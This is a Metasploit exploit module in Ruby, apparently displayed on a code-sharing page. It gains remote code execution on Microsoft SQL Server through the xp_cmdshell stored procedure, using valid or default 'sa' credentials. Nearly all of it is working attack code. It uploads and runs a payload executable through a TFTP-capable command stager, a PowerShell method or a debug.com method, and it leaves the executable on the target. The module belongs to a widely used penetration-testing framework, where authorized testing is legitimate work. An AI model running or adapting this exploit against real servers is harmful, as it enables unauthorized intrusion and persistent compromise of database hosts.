Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::MSSQL
10
  include Msf::Exploit::CmdStager
11
  include Msf::OptionalSession::MSSQL
12
  #include Msf::Exploit::CmdStagerDebugAsm
13
  #include Msf::Exploit::CmdStagerDebugWrite
14
  #include Msf::Exploit::CmdStagerTFTP
15

16
  def initialize(info = {})
17
    super(update_info(info,
18
      'Name'           => 'Microsoft SQL Server Payload Execution',
19
      'Description'    => %q{
20
          This module executes an arbitrary payload on a Microsoft SQL Server by using
21
        the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.
22

23
        First, the original method uses Windows 'debug.com'. File size restrictions are
24
        avoided by incorporating the debug bypass method presented by SecureStat at
25
        Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.
26

27
        A second method takes advantage of the Command Stager subsystem. This allows using
28
        various techniques, such as using a TFTP server, to send the executable. By default
29
        the Command Stager uses 'wcsript.exe' to generate the executable on the target.
30

31
        Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
32
        payload on the target.
33

34
        NOTE: This module will leave a payload executable on the target system when the
35
        attack is finished.
36
      },
37
      'Author'         =>
38
        [
39
          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',  # original module, debug.exe method, powershell method
40
          'jduck'  # command stager mods
41
        ],
42
      'License'        => MSF_LICENSE,
43
      'References'     =>
44
        [
45
          # 'sa' password in logs
46
          [ 'CVE', '2000-0402' ],
47
          [ 'OSVDB', '557' ],
48
          [ 'BID', '1281' ],
49

50
          # blank default 'sa' password
51
          [ 'CVE', '2000-1209' ],
52
          [ 'OSVDB', '15757' ],
53
          [ 'BID', '4797' ]
54
        ],
55
      'Platform'       => 'win',
56
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
57
      'Targets'        =>
58
        [
59
          [ 'Automatic', { } ],
60
        ],
61
      'CmdStagerFlavor' => 'vbs',
62
      'DefaultTarget'  => 0,
63
      'DisclosureDate' => '2000-05-30'
64
      ))
65
    register_options(
66
      [
67
        OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ])
68
      ])
69
  end
70

71
  def check
72
    if session
73
      set_mssql_session(session.client)
74
    end
75

76
    unless session || mssql_login_datastore
77
      vprint_status("Invalid SQL Server credentials")
78
      return Exploit::CheckCode::Detected
79
    end
80

81
    mssql_query("select @@version", true)
82
    if mssql_is_sysadmin
83
      vprint_good "User #{datastore['USERNAME']} is a sysadmin"
84
      Exploit::CheckCode::Vulnerable
85
    else
86
      Exploit::CheckCode::Safe
87
    end
88
  ensure
89
    disconnect
90
  end
91

92
  # This is method required for the CmdStager to work...
93
  def execute_command(cmd, opts)
94
    mssql_xpcmdshell(cmd, datastore['VERBOSE'])
95
  end
96

97
  def exploit
98
    if session
99
      set_session(session.client)
100
    else
101
      unless mssql_login_datastore
102
        print_status("Invalid SQL Server credentials")
103
        return
104
      end
105
    end
106

107
    method = datastore['METHOD'].downcase
108

109
    if (method =~ /^cmd/)
110
      tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
111
      execute_cmdstager({ linemax: 1500, tftphost: tftphost, nodelete: true })
112
    else
113
      # Generate the EXE, this is the same no matter what delivery mechanism we use
114
      exe = generate_payload_exe
115

116
      # Use powershell method for payload delivery if specified
117
      if (method =~ /^ps/) or (method =~ /^power/)
118
        powershell_upload_exec(exe)
119
      else
120
        # Otherwise, fall back to the old way..
121
        mssql_upload_exec(exe, datastore['VERBOSE'])
122
      end
123
    end
124

125
    handler
126
    disconnect
127
  end
128
end
129

130